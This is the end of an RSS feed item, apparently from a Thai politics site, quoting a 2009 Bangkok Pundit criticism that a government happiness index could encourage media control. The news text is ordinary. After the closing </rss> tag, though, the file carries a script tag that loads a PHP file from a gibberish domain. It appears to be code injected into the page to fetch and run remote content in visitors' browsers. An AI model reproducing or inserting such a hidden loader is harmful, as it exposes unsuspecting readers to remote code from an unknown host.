“Doesn&#8217;t a happiness index provide perverse incentives for governments to exercise greater control over the [...]]]></description>
			<content:encoded><![CDATA[<p>Bangkok Pundit published on 08/12/09 a criticism of how a National Happiness Index could be used or abused.<br />
After the military coup of 2006, Prime Minister Surayud Chulanont’s government instituted a happiness index. It is frequently referred to in the media. </p>
<p>“Doesn&#8217;t a happiness index provide perverse incentives for governments to exercise greater control over the media, reduce the amount of information on certain subjects that is allowed to be distributed to the public because this is an easier way to create happiness?” asked Bangkok Pundit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2009/12/headlines/331/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>